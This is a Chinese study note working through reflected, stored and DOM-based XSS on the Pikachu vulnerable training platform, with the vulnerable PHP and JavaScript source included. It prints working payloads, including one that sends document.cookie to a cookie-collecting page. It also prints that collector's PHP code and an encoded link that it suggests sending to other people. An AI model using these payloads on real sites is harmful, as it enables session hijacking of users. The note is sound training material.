XSS学习笔记---Pikachu漏洞平台

文章目录

  • XSS
      • 一.XSS概述
      • 二.XSS漏洞测试流程
      • 三.XSS注入实例
        • 3.1反射性XSS
          • 3.1.1概述
          • 3.1.2攻击实例
        • 3.2存储性XSS
          • 3.2.1概述
          • 3.2.2 注入实例
        • 3.3DOM型XSS
          • 3.3.1概述
          • 3.3.2攻击实例
        • 3.4Cookie获取

XSS

一.XSS概述

  • XSS是发生在Web前端的漏洞,所以其危害对象主要是前端用户
  • XSS漏洞可以用来进行钓鱼攻击、前端js挖矿、用户cookie获取、甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等
    -图片来自i春秋 XSS学习笔记---Pikachu漏洞平台_第1张图片
  • 漏洞形成原因:形成XSS漏洞的主要原因是程序对输入和输出的控制不严格,导致构造的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。

二.XSS漏洞测试流程

  • 在目标站点上找到输入点,比如查询口,留言板;
  • 输入一组"特殊字符+唯一识别字符",点击提交后,查看返回的源码,是否有做对应的处理;
  • 通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件;
  • 提交构造脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞

三.XSS注入实例

3.1反射性XSS

3.1.1概述
  • 反射性XSS攻击正常是一次性的
  • 攻击方式:攻击者通过邮件等方式将包含XSS恶意代码的链接发给目标用户。当目标用户访问时触发漏洞
3.1.2攻击实例
  • 首先输入特殊字符和唯一识别字符 '"pikachuchuchu 提交
    XSS学习笔记---Pikachu漏洞平台_第2张图片- 接着查看页面源码,看看是否进行了处理,很明显并没有
    XSS学习笔记---Pikachu漏洞平台_第3张图片- 尝试构造payload进行xss攻击
<script>alert('What can I say?Mamba out')</script>
  • 这里要注意前端在字符串输入中对字符长度有限制F12改一下即可,看一下攻击效果
    XSS学习笔记---Pikachu漏洞平台_第4张图片
  • 代码分析:对得到数据没有任何处理所以直接写js代码即可
if(isset($_GET['submit'])){
     
    if(empty($_GET['message'])){
     
        $html.="

输入'kobe'试试-_-

"
; }else{ if($_GET['message']=='kobe'){ $html.="

愿你和{ $_GET['message']}一样,永远年轻,永远热血沸腾!

"
; }else{ $html.="

who is { $_GET['message']},i don't care!

"
; } } }

3.2存储性XSS

3.2.1概述
  • 功能:获取用户输入的留言信息,标题和内容,然后将标题和内容插入到数据库中,并将数据库的留言信息输出到页面
  • 因为其会从数据库中获取留言信息并输出到页面,所以这种攻击是持久性的
3.2.2 注入实例
  • 类似与反射性的XSS 输入识别字符加特殊符号查看是否被处理过
  • 这道题也是没有被处理过的
  • 我输入的payload是
  • 效果:每次访问都会出现这个弹窗 XSS学习笔记---Pikachu漏洞平台_第5张图片
  • 源码分析:从数据库里读取出来后没有经过任何处理所以存在xss漏洞
 <div id="show_message">
   <br />
   <br />
   <p class="line">留言列表:</p>
    echo $html;
   $query="select * from message";
   $result=execute($link, $query);
   while($data=mysqli_fetch_assoc($result)){
     
   echo "

{ $data['content']}

]}
'>删除"
; } echo $html;

3.3DOM型XSS

3.3.1概述
  • 功能:在输入框输入信息并确定后,页面会将“这里会显示输入的内容”替换为输入的信息 w3cscholl的实例
<html>
<head>
<script type="text/javascript">
function getValue()
{
      
var x=document.getElementById("myHeader")
alert(x.innerHTML)
}
script>
head>
<body>

<h1 id="myHeader" onclick="getValue()">这是标题h1>
<p>点击标题,会提示出它的值。p>

body>
html>
3.3.2攻击实例
  • 源码分析
  • 我们在文本框里输入的文字会被传入到str中,接下来会进行字符串的拼接"what do you see?";并将其作为id为dom的html内容
  • 如果我们正常输入一个网址,例如https://www.bilibili.com/
  • 我们点击what do you see?则会访问到这个页面
  • 同样我们也可进行xss攻击,这里和前面不一样的地方在于我们需要构造闭合
<a href='"+str+"'>what do you see?a>
我们可以构造为 <a href='' onclick=alert(1111)>'>what do you see?a>
输入框里的内容为:' οnclick=alert(11111)>

效果如下:
XSS学习笔记---Pikachu漏洞平台_第6张图片

<div id="xssd_main">
   <script>
     function domxss(){
      
         var str = document.getElementById("text").value;
         document.getElementById("dom").innerHTML = "what do you see?";
                    }
         //试试:'>
         //试试:' οnclick="alert('xss')">,闭合掉就行
   script>
         
         <input id="text" name="text" type="text"  value="" />
         <input id="button" type="button" value="click me!" onclick="domxss()" />
          <div id="dom">div>
div>

3.4Cookie获取

  • pikachu环境下xss获取cookie的源码

include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

//这个是获取cookie的api页面

if(isset($_GET['cookie'])){
     
    $time=date('Y-m-d g:i:s');
    $ipaddress=getenv ('REMOTE_ADDR');
    $cookie=$_GET['cookie'];
    $referer=$_SERVER['HTTP_REFERER'];
    $useragent=$_SERVER['HTTP_USER_AGENT'];
    $query="insert cookies(time,ipaddress,cookie,referer,useragent) 
    values('$time','$ipaddress','$cookie','$referer','$useragent')";
    $result=mysqli_query($link, $query);
}
header("Location:http://127.0.0.1/pikachu-master/index.php");//重定向到一个可信的网站
?>
  • 在反射性xss中输入js的代码
<script>document.location = 'http://127.0.0.1/pikachu-master/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
  • 页面将会被重新访问到源码中重定向的网站,此时你在访问之前页面的cookie已经被获取了
  • 可以利用刚刚访问时候的URL
    ?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F127.0.0.1%2Fpikachu-master%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E&submit=submit发送给别人别人访问时候获取别人的cookie

你可能感兴趣的:(web安全,xss)